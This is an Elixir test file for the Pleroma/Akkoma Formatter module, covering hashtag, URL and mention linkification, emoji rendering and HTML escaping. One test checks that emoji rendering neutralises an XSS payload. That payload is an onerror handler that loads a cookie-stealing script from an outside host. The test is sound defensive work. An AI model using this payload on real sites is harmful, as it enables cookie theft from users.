Merge branch 'develop' of https://git.pleroma.social/pleroma/pleroma into develop
[akkoma] / test / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
7 alias Pleroma.User
8 use Pleroma.DataCase
9
10 import Pleroma.Factory
11
12 setup_all do
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
14 :ok
15 end
16
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
20
21 expected_text =
22 "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
23
24 assert {^expected_text, [], _tags} = Formatter.linkify(text)
25 end
26
27 test "does not turn html characters to tags" do
28 text = "#fact_3: pleroma does what mastodon't"
29
30 expected_text =
31 "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
32
33 assert {^expected_text, [], _tags} = Formatter.linkify(text)
34 end
35 end
36
37 describe ".add_links" do
38 test "turning urls into links" do
39 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
40
41 expected =
42 "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
43
44 assert {^expected, [], []} = Formatter.linkify(text)
45
46 text = "https://mastodon.social/@lambadalambda"
47
48 expected =
49 "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
50
51 assert {^expected, [], []} = Formatter.linkify(text)
52
53 text = "https://mastodon.social:4000/@lambadalambda"
54
55 expected =
56 "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
57
58 assert {^expected, [], []} = Formatter.linkify(text)
59
60 text = "@lambadalambda"
61 expected = "@lambadalambda"
62
63 assert {^expected, [], []} = Formatter.linkify(text)
64
65 text = "http://www.cs.vu.nl/~ast/intel/"
66 expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
67
68 assert {^expected, [], []} = Formatter.linkify(text)
69
70 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
71
72 expected =
73 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
74
75 assert {^expected, [], []} = Formatter.linkify(text)
76
77 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
78
79 expected =
80 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
81
82 assert {^expected, [], []} = Formatter.linkify(text)
83
84 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
85
86 expected =
87 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
88
89 assert {^expected, [], []} = Formatter.linkify(text)
90
91 text = "https://en.wikipedia.org/wiki/Duff's_device"
92
93 expected =
94 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
95
96 assert {^expected, [], []} = Formatter.linkify(text)
97
98 text = "https://pleroma.com https://pleroma.com/sucks"
99
100 expected =
101 "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
102
103 assert {^expected, [], []} = Formatter.linkify(text)
104
105 text = "xmpp:contact@hacktivis.me"
106
107 expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
108
109 assert {^expected, [], []} = Formatter.linkify(text)
110
111 text =
112 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
113
114 expected = "<a href=\"#{text}\">#{text}</a>"
115
116 assert {^expected, [], []} = Formatter.linkify(text)
117 end
118 end
119
120 describe "add_user_links" do
121 test "gives a replacement for user links, using local nicknames in user links text" do
122 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
123 gsimg = insert(:user, %{nickname: "gsimg"})
124
125 archaeme =
126 insert(:user, %{
127 nickname: "archa_eme_",
128 info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
129 })
130
131 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
132
133 {text, mentions, []} = Formatter.linkify(text)
134
135 assert length(mentions) == 3
136
137 expected_text =
138 "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
139 gsimg.ap_id
140 }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
141 archaeme.id
142 }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
143 archaeme_remote.id
144 }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
145
146 assert expected_text == text
147 end
148
149 test "gives a replacement for user links when the user is using Osada" do
150 mike = User.get_or_fetch("mike@osada.macgirvin.com")
151
152 text = "@mike@osada.macgirvin.com test"
153
154 {text, mentions, []} = Formatter.linkify(text)
155
156 assert length(mentions) == 1
157
158 expected_text =
159 "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
160
161 assert expected_text == text
162 end
163
164 test "gives a replacement for single-character local nicknames" do
165 text = "@o hi"
166 o = insert(:user, %{nickname: "o"})
167
168 {text, mentions, []} = Formatter.linkify(text)
169
170 assert length(mentions) == 1
171
172 expected_text =
173 "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
174
175 assert expected_text == text
176 end
177
178 test "does not give a replacement for single-character local nicknames who don't exist" do
179 text = "@a hi"
180
181 expected_text = "@a hi"
182 assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
183 end
184
185 test "given the 'safe_mention' option, it will only mention people in the beginning" do
186 user = insert(:user)
187 _other_user = insert(:user)
188 third_user = insert(:user)
189 text = " @#{user.nickname} hey dude i hate @#{third_user.nickname}"
190 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
191
192 assert mentions == [{"@#{user.nickname}", user}]
193
194 assert expected_text ==
195 "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
196 user.ap_id
197 }'>@<span>#{user.nickname}</span></a></span> hey dude i hate <span class='h-card'><a data-user='#{
198 third_user.id
199 }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
200 end
201
202 test "given the 'safe_mention' option, it will still work without any mention" do
203 text = "A post without any mention"
204 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
205
206 assert mentions == []
207 assert expected_text == text
208 end
209 end
210
211 describe ".parse_tags" do
212 test "parses tags in the text" do
213 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
214
215 expected_tags = [
216 {"#Test", "test"},
217 {"#working", "working"},
218 {"#は", "は"},
219 {"#漢字", "漢字"}
220 ]
221
222 assert {_text, [], ^expected_tags} = Formatter.linkify(text)
223 end
224 end
225
226 test "it can parse mentions and return the relevant users" do
227 text =
228 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
229
230 o = insert(:user, %{nickname: "o"})
231 jimm = insert(:user, %{nickname: "jimm"})
232 gsimg = insert(:user, %{nickname: "gsimg"})
233 archaeme = insert(:user, %{nickname: "archaeme"})
234 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
235
236 expected_mentions = [
237 {"@archaeme", archaeme},
238 {"@archaeme@archae.me", archaeme_remote},
239 {"@gsimg", gsimg},
240 {"@jimm", jimm},
241 {"@o", o}
242 ]
243
244 assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
245 end
246
247 test "it adds cool emoji" do
248 text = "I love :firefox:"
249
250 expected_result =
251 "I love <img height=\"32px\" width=\"32px\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
252
253 assert Formatter.emojify(text) == expected_result
254 end
255
256 test "it does not add XSS emoji" do
257 text =
258 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
259
260 custom_emoji = %{
261 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
262 "https://placehold.it/1x1"
263 }
264
265 expected_result =
266 "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
267
268 assert Formatter.emojify(text, custom_emoji) == expected_result
269 end
270
271 test "it returns the emoji used in the text" do
272 text = "I love :firefox:"
273
274 assert Formatter.get_emoji(text) == [
275 {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
276 ]
277 end
278
279 test "it returns a nice empty result when no emojis are present" do
280 text = "I love moominamma"
281 assert Formatter.get_emoji(text) == []
282 end
283
284 test "it doesn't die when text is absent" do
285 text = nil
286 assert Formatter.get_emoji(text) == []
287 end
288
289 test "it escapes HTML in plain text" do
290 text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
291 expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
292
293 assert Formatter.html_escape(text, "text/plain") == expected
294 end
295 end